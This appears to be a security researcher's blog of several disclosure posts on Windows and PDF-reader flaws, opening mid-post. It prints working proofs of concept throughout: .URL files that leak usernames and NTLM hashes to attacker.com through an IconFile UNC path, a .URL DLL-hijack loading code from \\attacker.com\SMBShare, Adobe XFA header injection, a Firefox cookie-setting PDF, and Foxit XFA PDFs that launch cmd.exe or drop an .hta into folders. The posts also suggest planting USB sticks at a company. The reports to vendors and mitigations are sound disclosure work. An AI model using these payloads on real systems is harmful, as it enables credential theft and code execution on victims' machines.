In case the specified remote server (eg. attacker.com) has no open SMB ports Windows will fallback to Webdav, which is using port 80. But this fallback mechanism does not always work properly:

filename:
leak.URL

Content:
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\attacker.com\webdav\%USERNAME%.icon
IconIndex=1


In case you want to leak environment informations, which are compatible with DNS, you can use the following structure:

[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\%USERNAME%.attacker.com\webdav\whatever.icon
IconIndex=1

In case you want to try this behavior yourself:

  1. Create leak.URL in any folder
  2. Use the payloads described above and use your own domain for the IconFile property
  3. Open the folder, which contains the created .URL file in step 1, with windows explorer.
  4. Wait for explorer to send the request
// this behavior was tested on Windows 10 - but should work on any Windows system as .URL was introduced in Windows 95 

In case you are wondering: If SMB is available you can use Spiderlabs Responder tool to listen for hashes. 
The reason for the support of environment variable is that in case you want to use default icons installed by Windows, you can use the environment variables to specify the Windows directory (as is it not ensured that Windows is installed on C:\windows)
Regarding the support for remote icons - I think this is just an oversight



Regarding the use cases: Maybe this could be used for red teaming scenarios. As an example, you could drop USB sticks in front of a company and each of them contain a .URL file in the root directory. As soon as an employee is viewing the USB stick a request will be triggered and therefore confirming that it was used on a company PC (without the requirement of any malware/exploit/modified usb firmware)

Friday, May 18, 2018

DLL Hijacking via URL files


This blogpost describes how I got annoyed by vulnerabilities in 3rd party Windows applications, which allowed to execute local files but without parameters. So I decided to find a vulnerability in Windows itself to properly exploit them.

The Problem


On multiple occasions I encountered an application with a vulnerability, which would allow to execute a local file. This means an attacker controlled string ended up in a Windows API call like ShellExecute although the system call itself does not really matter. The problem was that I was not able to control any parameters eg. I was able to pass file:///c:/windows/system32/cmd.exe but could not actually execute any malicious payload. And just opening cmd.exe, calc.exe, powershell.exe etc. is kinda boring.
So I started to brainstorm how I can abuse this kind of vulnerability and be able to actually execute my own program code:

Abusing the download folder


The first idea, which could come to mind, is abusing the vulnerable application to trigger a download of a file. As soon as the file is downloaded the vulnerability could be triggered again and the downloaded file gets executed. This approach has two problems:
1) It requires that I am able to trigger a download of a file without user interaction
2) Even if the requirement of step 1 are fulfilled, Windows has another hurdle: The Zone model for downloaded files or to be exact: Zone.Identifiers

Zone Identifiers 

In case a file is downloaded (eg. via the web browsers) Windows adds an Alternative Data Stream called Zone.Identifier to the file. Simplified speaking: An Alternative Data Stream is data (binary, text etc), which is not stored in a file itself but instead attached to another file. The Syntax to read an ADS is the following: <realfileOnDisk>:<ADSName>.
In case of a downloaded file this additional information describes the zone the file was downloaded from. I am not going into all the details of this model and its implications but to keep it short: In case a file is downloaded from a domain like example.com, it gets assigned a Zone ID of 3:















>dir /R downloaded.exe
downloaded.exe:Zone.Identifier:$DATA
>notepad downloaded.exe:Zone.Identifier
[ZoneTransfer]
ZoneId=3


As soon as the ZoneId is > 2 Windows will show the following warning dialog for potential insecure file extensions:

Figure 1: Warning Dialog



This means that I have to find an extension, which not only allows me to execute a malicious payload but additionally is not covered by this protection scheme as I want to avoid the necessity of a user click. As this feature has been around for quite a long time I decided to move on.
I have to mention that I discovered that certain 3rd party extensions like Pythons .py files bypass this protection but this requires that Python is installed and the python executable is present in the environment variable.

SMB/UNC Paths


After I dismissed the idea of downloading files I moved on to SMB/UNC paths. On Windows it is possible to open and execute files from remote SMB shares by using the file:/// protocol handler:

file://attacker.com/SMBShare/fileYouWantoToOpen

My first naive thinking was: As the file is hosted on a remote SMB share, there is no Zone.Identifier ADS present and therefore any file should execute without any problems. All I need to do is create a malicious file and host it on my SMB Share, make it publicly accessible and pass a proper file:// protocol URL to the vulnerable application....
Yeah thats not how it works. Just have a look at the following examples:

file://attacker.com/SMBShare/evil.exe
file://attacker.com/SMBShare/test.bat

This will display the same warning dialog as shown in Figure 1. As I didn't want the need for a user-click I started to get frustrated. As a last resort I started to use lists of malicious file extensions on Windows, which were abused by malware in the past and added some of my own ideas. I then created a file for each extension and uploaded them to my remote SMB share and executed them.

The start of the solution - .URL 


After finishing the enumeration I discovered that .URL files are executed from remote SMB shares without any warning dialog (file://attacker.com/SMBShare/test.URL). I was familiar with the following .URL structure :

Link to a local file:
[InternetShortcut]
URL=C:\windows\system32\cmd.exe

Link to a HTTP resource:
[InternetShortcut]
URL=http://example.com


Once again this does not allow to pass any parameters so it seems like we are right back at the beginning. But thankfully someone already documented all the supported properties of .URL files so I decided to have a look:

The classic URL file format is pretty simple; it has a format similar to an INI file:

Sample URL File:

_______________________________________________________

[InternetShortcut]
URL=http://www.someaddress.com/
WorkingDirectory=C:\WINDOWS\
ShowCommand=7
IconIndex=1
IconFile=C:\WINDOWS\SYSTEM\url.dll
Modified=20F06BA06D07BD014D
HotKey=1601
_______________________________________________________



I think the WorkingDirectory directive is self explanatory but it allows to set the working directory of the application, which is specified by the URL directive. I immediately thought about DLL Hijacking. This kind of vulnerability was especially abused in 2010 and 2011 but is still present to this day. In case an application is vulnerable to DLL Hijacking it is possible to load an attacker controlled DLL from the current working directory instead of its application folder, windows folder etc.
This gave me the following idea:


[InternetShortcut]
URL=file:///c:/<pathToAnApplication>
WorkingDirectory=\\attacker.com\SMBShare


Maybe I can specify a standard Windows Application via the URL directive, set the working directory to my SMB share and force it to load a DLL from my remote share. As I am lazy I created a simple python script with the following logic:

  1. Enumerate all .exe files in C:\Windows and its subfolders as I am only interested in applications, which are present by default. 
  2. Create a .URL for each enumerated applications on a SMB share. Of course the URL directive points to the targeted application and the WorkingDirectory is set to the remote SMB share. 
  3. Get a list of all the currently running processes as a base comparison.
  4. Start ProcessMonitor
  5. Set the filter so it only displays entries, where the path points to the remote share and ends with .DLL. Additionally only display entries, where the result contains NOT FOUND. This should display only entries for cases, when an application is trying to load a DLL from the SMB share.
  6. Execute a .URL file eg file://attacker.com/SMBShare/poc1.URL
  7. Get a list of all the currently running processes
  8. Compare the list with the process list created in step 3. Log the executed .URL file and all the new spawned processes. Kill all the new spawned processes to safe system resources.
  9. Repeat step 6,7 and 8 until all created .URL files were executed
After the script is finished, ProcessMonitor will contain the list of potential executables, which could be vulnerable to DLL Hijacking. The next step is to check the stack trace of each entry and look out for LoadLibrary - this is the most obvious and simple way to start checking for a potential DLL Hijacking (I am aware that my approach is far from perfect - but I just hoped it is good enough to find a solution) 

TestNotes:
I run this script on a laptop with Windows 10 64 Bit. In case you want to try this approach yourself, remove audit.exe from your list as it will restart the PC. 



The results


First of all my results contained a lot of false positives, which is still confusing for me to this day as given my understanding this should not occur.
As I am publishing this blogpost it is easy to guess that I succeeded. My first vulnerable application were sadly related to the touch-pad of my laptop, so I dismissed them. To cut things short - I discovered the following Procmon entry:




I placed my own DLL, which creates a message box in case it gets loaded, on the SMB share and renamed the DLL to mscorsvc.dll. Now I executed the .URL file, which loads mscorsvw.exe, again and observed this:


My DLL was successfully loaded from the remote share (yes in this case I used localhost)! Additionally the message box of my DLL was displayed, ergo my own code was executed!

To be sure I verified this behavior by setting a static DNS entry in the C:\windows\system32\drivers\etc\hosts file and mapped attacker.com to another windows instance on my LAN. Afterwards I tested the PoC by placing the .URL file and the DLL file on the local attacker.com machine, created a fully accessible smb share and executed the payload from my test machine. Of course it worked :)

So all in all this is the Proof-of-Concept I came up with (btw this is not the only vulnerable application I discovered):

[InternetShortcut]
URL=C:\windows\WinSxS\x86_netfx4-mscorsvw_exe_b03f5f7f11d50a3a_4.0.15655.0_none_c11940453f42e667\mscorsvw.exe
WorkingDirectory=\\attacker.com\SMBShare\


mscorsvw.exe will load mscorsvc.dll from the remote smb share! 

To sum up the attack:
  1. A vulnerable application allows to execute a file but without parameters
  2. I abuse this vulnerability to load file://attacker.com/SMBShare/poc.URL
  3. poc.URL contains structure posted above
  4. My malicious mscorsvc.dll will be loaded -> WIN


There are still some problems with my Proof-of-Concept: First it requires that the targeted victim allows outbound SMB connections. Additionally the vulnerable applications I discovered are all located in WinSxS and their path contain version information - this means the windows version,language + application version can influence the path.

Note: Additionally this kind of attack works in case a victim uses explorer.exe to view the remote SMB share and double clicks the .URL file. 


Protection


I reported this issue to Microsoft and they confirmed that they could reproduce it.
Afterwards I got the following response:

----


Can you still reproduce with the following registry setting enabled? We are seeing CWD network share DLL loading stopped by setting this registry key.


[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]

"CWDIllegalInDllSearch"=dword:ffffffff

----

I verified that setting this registry key (a restart is required) stops the loading of DLLs from a remote SMB share and therefore blocking this attack vector .  Afterwards I got permission to publish this blogpost:

----

Thank you for confirming; the engineering group has advised that since the registry key blocks the attack this doesn't represent something we would address via a security update since users can protect themselves. 



Absolutely; no concerns from our side with you publishing especially if you're including the details on how to protect against it. [...]

----






Wednesday, May 2, 2018

Adobe Reader PDF - Client Side Request Injection

Some time ago I discovered a way to inject new lines in a POST request triggered by the Adobe Software/ActiveX. This allows to add new headers or completely modify the created requests.
For example you can inject headers like: Referer, Content-Length, Host, Origin etc, which is normally not allowed (eg via XHR) as it can be abused to bypass certain security checks implemented by websites.
Additionally it is possible to create a completely new request by abusing HTTP pipelining.
One more important information: This injection is not limited to POST requests as you can use a HTTP redirect to change the HTTP request to a GET request without losing the injected header.

With this vulnerability it is my first time doing full disclosure without reporting the bug itself beforehand (or doing a presentation). I have no specific motivation to do so, maybe it is because the good times of PDF's rendered by Browsers is almost over. Additionally the impact is really limited and even requires that the users browser is using Adobes ActiveX plugin.


SubmitForm


The XFA specification defines an element called <submit>. It allows to send the rendered XFA form to a specified URL via a HTTP POST request. In case the PDF is rendered in a web browser, the location will be changed to the specified URL. To give the user some additional control, it is not only possible to define the xdp content (eg the parts of the form, which should be submitted) but additionally the charset encoding. As soon as I saw that the triggered POST request contains the defined charset, I tried injecting new lines. To my surprise this worked without any problems therefore allowing me to modify the request at my will. 
I recommend to try it yourself ( start IE with the latest Adobe PDF ActiveX, which should be present when you install the Adobe PDF reader ). As soon as the PDF is loaded it will automatically trigger the POST request, no user interaction necessary.

Tested ActiveX version:
17.12.20093.238000

Adobe Acrobat Reader DC version:
18.011.20038

Technical notes


Normally I use the initialize event to trigger the execution of any field as it is the first event to trigger but in this case it does not work. In case the initialize event is used, the POST payload is almost empty (make sense as the XFA DOM is still not properly merged), the charset is set in the header, but neither is the POST payload encoded accordingly nor does the injection work. Therefore the PoC is using the docReady event, as it is fired as soon as the DOM/document is properly merged.

% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by InsertScript 

%PDF-1. % can be truncated to %PDF-\0

1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docReady" ref="$host" name="event__click">
               <submit 
                     textEncoding="UTF-16&#xD;&#xA;test: test&#xD;&#xA;"
                     xdpContent="pdf datasets xfdf"
                     target="http://example.com/test"/>
            </event>
</field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj

trailer <<
    /Root <<
        /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 1 0 R
        >>
        /Pages <<>>
    >>
>>

Triggered HTTP request:

POST /test HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Content-Type: application/vnd.adobe.xdp+xml; charset=utf-16
test: test
Accept-Language: de-DE
Host: example.com
[...]

Tuesday, November 14, 2017

Firefox - settings cookie via DOMParser



Firefox < 57 - settings cookie via DOMParser


While doing some research I discovered a interesting behavior in Firefox.
The following JavaScript code stores a XHTML document as a string in the meta variable.
Afterwards the variable is parsed via the DOMParser interface, which returns a valid XMLDocument:

meta = `<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppt=qqq' />
</head>

<body>
  some content
</body>
</html>`


var parser = new DOMParser();
meta = parser.parseFromString(meta, 'application/xml');

While parsing the defined XHTML structure, Firefox parses the meta tag and sets the cookie pppt=qqq. You would assume the cookie would be solely in the context of the XHTML document but I discovered that it is actually set on the domain executing the PoC.

This means, in case a website eg. example.com is parsing an user controlled string via DOMParser, it is possible to set cookies for example.com. It must be noted that this behavior is only present for xml/xhtml context inside parseFromString, text/html does not suffer from this vulnerability.


So - is that really interesting??? Yeah, lets set cookies via a PDF!


I actually discovered this vulnerability while I had a look at the implementation of PDF.js.
Lets have a look:

File:
pdf.js-master\src\display\metadata.js

Code:
function Metadata(meta) {
  if (typeof meta === 'string') {
    // Ghostscript produces invalid metadata
    meta = fixMetadata(meta);

    var parser = new DOMParser();
    meta = parser.parseFromString(meta, 'application/xml');


Some background information: The PDF standard defines two ways to define metadata of a document. As the old way was limited in the amount of info an author could add, another metadata object was added, which is an XML structure. PDF.js is parsing this XML structure to extract the information. This is done by passing the structure to the DOMParser, therefore being vulnerable to the cookie vulnerable described above.

I reported this vulnerability to Mozilla as well as to the PDF.js team. PDF.js decided to drop the call to DOMParser as it was an overkill and switched to SimpleXML parser to parse the metadata structure. Firefox Nightly was already patched and it finally landed in Firefox stable.


The following example PDF is demonstrating this behavior. I modified an example PDF published by corkami:


%PDF-1.1
1 0 obj
<<
% /Type /Catalog
/Pages 2 0 R
    /AcroForm 5 0 R
    /Metadata 14 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Count 1
/Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
/Type /Page
/Contents 4 0 R
/Parent 2 0 R
/Resources <<
/Font <<
/F1 <<
/Type /Font
/Subtype /Type1
/BaseFont /Arial
>>
>>
>>
>>
endobj

4 0 obj
<< /Length 47>>
stream
BT
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj
ET
endstream
endobj

5 0 obj
<< /DA (/Helv 0 Tf 0 g ) 
/DR << /Encoding << /PDFDocEncoding 10 0 R >> 
/Font << /Helv 11 0 R /ZaDb 12 0 R >> >> /Fields [ 13 0 R ] >>
endobj

10 0 obj
<< /Differences [ 24 /breve /caron /circumflex /dotaccent /hungarumlaut /ogonek /ring /tilde 39 /quotesingle 96 /grave 128 /bullet /dagger /daggerdbl /ellipsis /emdash /endash /florin /fraction /guilsinglleft /guilsinglright /minus /perthousand /quotedblbase /quotedblleft /quotedblright /quoteleft /quoteright /quotesinglbase /trademark /fi /fl /Lslash /OE /Scaron /Ydieresis /Zcaron /dotlessi /lslash /oe /scaron /zcaron 160 /Euro 164 /currency 166 /brokenbar 168 /dieresis /copyright /ordfeminine 172 /logicalnot /.notdef /registered /macron /degree /plusminus /twosuperior /threesuperior /acute /mu 183 /periodcentered /cedilla /onesuperior /ordmasculine 188 /onequarter /onehalf /threequarters 192 /Agrave /Aacute /Acircumflex /Atilde /Adieresis /Aring /AE /Ccedilla /Egrave /Eacute /Ecircumflex /Edieresis /Igrave /Iacute /Icircumflex /Idieresis /Eth /Ntilde /Ograve /Oacute /Ocircumflex /Otilde /Odieresis /multiply /Oslash /Ugrave /Uacute /Ucircumflex /Udieresis /Yacute /Thorn /germandbls /agrave /aacute /acircumflex /atilde /adieresis /aring /ae /ccedilla /egrave /eacute /ecircumflex /edieresis /igrave /iacute /icircumflex /idieresis /eth /ntilde /ograve /oacute /ocircumflex /otilde /odieresis /divide /oslash /ugrave /uacute /ucircumflex /udieresis /yacute /thorn /ydieresis ] /Type /Encoding >>
endobj

11 0 obj
<< /BaseFont /Helvetica /Encoding 10 0 R /Name /Helv /Subtype /Type1 /Type /Font >>
endobj


12 0 obj
<< /BaseFont /ZapfDingbats /Name /ZaDb /Subtype /Type1 /Type /Font >>
endobj

13 0 obj
<< /AP << /N 20 0 R >> /DA (/Helv 12 Tf 0 g) /DS (font: Helvetica,sans-serif 12.0pt; text-align:left; color:#000000 ) /DV (<h1>aaaa) /F 4 /FT /Tx /Ff 33554432 /MK << >> /P 17 0 R /RV (<h1>aaaa) /Rect [ 113.334 752.844 407.626 801.577 ] /Subtype /Widget /T (Text1) /Type /Annot >>
endobj

14 0 obj
<</Length 2565/Subtype/XML/Type/Metadata>>
stream
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <title>Title of document</title><meta http-equiv='Set-Cookie' content='pppa=qqq' />
</head>
<body>
  some content
</body>
</html>
endstream
endobj


trailer
<<
/Root 1 0 R
>>
%%EOF
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012





Sunday, August 20, 2017

A tale about Foxit Reader - Safe Reading mode and other vulnerabilities



Some days ago someone send me the following link, which describes two vulnerabilities in Foxit Reader: http://thehackernews.com/2017/08/two-critical-zero-day-flaws-disclosed.html

These two vulnerabilities are similar to the behavior of Foxit Reader I presented at Appsec Belfast 2017. Unfortunately the recording was never published, so I decided it's time for a blog post to give some additional information about these vulnerabilities.


First I have to describe the implemented security model in Foxit Reader.


Safe-Reading mode


Foxit Reader implements a one-line defense, the so-called "Safe-Reading mode". It is enabled by default. In case it is enabled it prohibits the execution of scripts and other features, which can harm the security of the end user.
During my presentation I said, that this feature should never ever be disabled.

In case a vulnerability requires a disabled "Safe-Reading mode", Foxit will mostly not patch it. This is true for the two "vulnerabilities" described in the link above.

Note:
Apparently Foxit decided to provide a patch for the two vulnerabilities mentioned in the hackernews blog post.
https://www.zerodayinitiative.com/blog/2017/8/17/busting-myths-in-foxit-reader

Short quote extracted from the Foxit statement:
"Foxit Software is deeply committed to delivering secure PDF products to its customers. Our track record is strong in responding quickly in fixing vulnerabilities [...]"

Note2:
Foxit contacted me and stated that they are fixing my vulnerabilites, which are described in this blogpost, aswell. 



So lets continue talking about my similar findings, one of which is still unfixed.

Execute local file  


Reported: 5.5.2017 to Foxit Security team
Security bulletin released: 4.7.2017 https://www.foxitsoftware.com/de/support/security-bulletins.php
Function call: xfa.host.gotoURL
Reality: Still Unfixed. Not protected by Safe-Reading mode!
Tested Foxit version: 8.3.1.21155


CVE-2017-10951 is abusing the app.launchURL JavaScript call to execute a local program, without any user interaction. I am using another function with a similar functionality called xfa.host.gotoURL.
By reading the specification it can be seen that normally these functions accept a URL, which is opened in a new browser window. So far so simple.
I assume CVE-2017-10951 used the same URL I did to execute a local program (I am not 100% sure as no exact details are public).

Instead of passing a http/https URL to xfa.host.gotoURL I used the file:/// protocol handler. To execute cmd.exe. The following file:/// URL is enough:

xfa.host.gotoURL("file:///c:/windows/system32/cmd.exe");

One difference between app.launchURL and xfa.host.gotoURL is this one: xfa.host.gotoURL is not protected by the safe reading mode or as I described in my email to the Foxit security team:

The XFA standard defines the xfa.host.gotoURL function call, which
should load an URL. I discovered that this function is not protected by
the Trust Manager, nor does it check the specified protocol.
The following example will open "cmd.exe" without any user interaction:
xfa.host.gotoURL("file:///C:/windows/system32/cmd.exe");


I have no idea why Foxit did not patch my vulnerability but hopefully they do now!
Note: This is not a full "Safe Reading Mode" bypass. This only works for this exact function call!

Have fun with the PoC (it opens cmd.exe and calc.exe. When you close the PDF it will open explorer.exe) - there was a link but apparently Google does not like me hosting my own PoC.

%PDF-1.1
1 0 obj
<<
 /Type /Catalog
 /Pages 2 0 R
    /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 5 0 R
        >>
>>
endobj

2 0 obj
<<
 /Type /Pages
 /Count 1
 /Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
 /Type /Page
 /Contents 4 0 R
 /Parent 2 0 R
 /Resources <<
  /Font <<
   /F1 <<
    /Type /Font
    /Subtype /Type1
    /BaseFont /Arial
   >>
  >>
 >>
>>
endobj

4 0 obj
<< /Length 47>>
stream
BT
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj
ET
endstream
endobj

5 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docReady" ref="$host">
                <script>
                    xfa.host.gotoURL("file:///C:/windows/system32/cmd.exe");
                </script>
            </event>
            <event activity="docClose" ref="$host">
                <script>
                    xfa.host.gotoURL("file:///C:/windows/explorer.exe");
                </script>
            </event>
            <event activity="initialize">
                <script>
                    xfa.host.gotoURL("file:///C:/windows/system32/calc.exe");
                </script>
            </event>
           
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj



trailer
<<
 /Root 1 0 R
   
>>
%%EOF
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012
% modified by Alex Inführ


https://www.youtube.com/watch?v=CWu4OHwtzm8


File execution - limitations:

1) It is not possible to pass parameters to the executed program. Maybe it is possible via app.launchURL but the text/video does not contain any hint that this is the case.
2) When the file:/// protocol handler is pointing to an executable, which is stored on a SMB share, the Windows operating system will trigger a warning box asking the user for confirmation to execute the program.
3) In case the handler is pointing to a currently downloaded file (most likely via the web browser), Windows will once again ask the user for confirmation before the program is executed. Downloaded files contain a so-called "Zone Identifier". This identifier contains information about the source of the executable. In case a file is downloaded from a website like example.com, it will contain a Zone Identifier of 3. A ZI of 3 always triggers a warning dialog before the file is executed (note: there are some exceptions to this rule).

I am aware of one possible way to bypass these restrictions but this will require another blog post ;) 

Drop a file to the local file system


I reported my finding in 2016 via ZDI in combination with the safe-reading mode bypass: http://www.zerodayinitiative.com/advisories/ZDI-16-396/

Reality: Patched in combination with the Safe-Reading mode bypass in 2016. It is still working with disabled Safe-Reading mode (as intended I assume)

Lets move on the next vulnerability described in the link above.
Once again I used a different function call with the same functionality. I think you can see a pattern ^^.
CVE-2017-10592 is using the this.saveAs function call to drop a file to the local file system. I always used the xfa.host.exportData function to achieve the same functionality. Both function accept a device independent path (the PDF way to define a local path, independent of the operating system) to store a file. As the file path is completely user controlled, the file extension can be chosen freely.
In case of the saveAs function, the stored PDF file itself can be converted to other file types  although I do not know if Foxit Reader actually supports this functionality.
The xfa.host.exportData function call exports a XML structure. As it is either really difficult or even impossible to drop a valid executable (as the attacker has no full control of the content of the file), the easiest way to exploit this kind of vulnerability on the Windows operating system is dropping a HTML application (.hta).
A HTML application behaves like a normal HTML file (eg. any characters, which are no valid HTML elements are happily ignored) but it has access to powerful JavaScript API calls, which allow to execute programs with parameters, local file access and more.
All the attacker has to do is embedding a valid script tag inside the PDF structure and ensure that is stored in the created HTA file.

By dropping this kind of file into the startup folder, the attacker just has to wait for the victim to restart his PC. In case the attacker does not want to wait for a restart, he can drop his malicious HTA file and use the before mentioned functionality to immediately execute it (the dropped file does not have a Zone Identifier).

Proof-of-Concept (the PoC stores no real payload in the dropped file):
1. Open the PoC in Foxit Reader
2. Disable Safe Reading mode
3. Restart Foxit Reader
4. Open the PDF
5. Close it. A file called evilHTA.hta will be dropped on the desktop.

Again - my own PoC is considered a virus so no link:

%PDF-1.1
1 0 obj
<<
 /Type /Catalog
 /Pages 2 0 R
    /AcroForm <<
            /Fields [<<
                /T (0)
                /Kids [<<
                    /Subtype /Widget
                    /Rect []
                    /T ()
                    /FT /Btn
                >>]
            >>]
            /XFA 5 0 R
        >>
>>
endobj

2 0 obj
<<
 /Type /Pages
 /Count 1
 /Kids [ 3 0 R ]
>>
endobj

3 0 obj
<<
 /Type /Page
 /Contents 4 0 R
 /Parent 2 0 R
 /Resources <<
  /Font <<
   /F1 <<
    /Type /Font
    /Subtype /Type1
    /BaseFont /Arial
   >>
  >>
 >>
>>
endobj

4 0 obj
<< /Length 47>>
stream
BT
/F1 100
Tf 1 1 1 1 1 0
Tr(Hello World!)Tj
ET
endstream
endobj

5 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
    <interactive>1</interactive>
</pdf></present></config>

<template>
    <subform name="_">
        <pageSet/>
        <field id="Hello World!">
            <event activity="docClose" ref="$host">
                <script contentType='application/x-javascript'>
                    var user = identity.name;
                    xfa.host.exportData("../../../users/"+user+"/Desktop/evilHTA.hta",false);
                </script>
            </event>
        </field>
    </subform>
</template>
</xdp:xdp>
endstream
endobj



trailer
<<
 /Root 1 0 R
   
>>
%%EOF
% a naive PDF (for pdf.js) with more elements than usually required
% Ange Albertini, BSD licence 2012
% modified by Alex Inführ


In case you are wondering why the onclose event is used, I can tell you a near null exception crashes Foxit Reader.


So this was a short introduction about Foxit Reader and why you should never disable the Safe Reading mode.

But wait... is there a way to bypass the "Safe-Reading mode"?
The following bypass is fixed but maybe it inspires someone to search for new bypasses :)


[+] Fixed: Safe-Reading mode bypass 

When I started to play with Foxit Reader I did not read anything about the implemented security and instead just jumped right into it.
I used different functions, which I know could introduce security problems until I tried xfa.host.exportData.
Suddenly my file was dropped without any user interaction. My first reaction was: "WTF? This can't be real. There should be some security protection in place."
So I started to research and discovered: I bypassed the safe-reading mode without even realizing it ^^

Basically what I used while researching was XFA. XFA is a XML structure defined in the PDF standard, which defines everything related to forms in PDF.
It allows to define buttons, text boxes and more. Additionally, similar to HTML, you can react to events triggered for each element and the document itself.
This allows you to specify JavaScript, which is executed as soon as the event is fired. A simplified example to understand the concept is provided by corkami: https://raw.githubusercontent.com/corkami/pocs/master/pdf/formevent_js.pdf

In my case I reacted to the "initialized" event for my created button element.
As you can possible guess, this event is fired every time the element is initialized and therefore it fires really early during the parsing of the PDF structure.
And this was all needed to bypass the "Safe-Reading" mode. Apparently the event fired so early that the mode was not initialized or they forgot to apply it for this event too.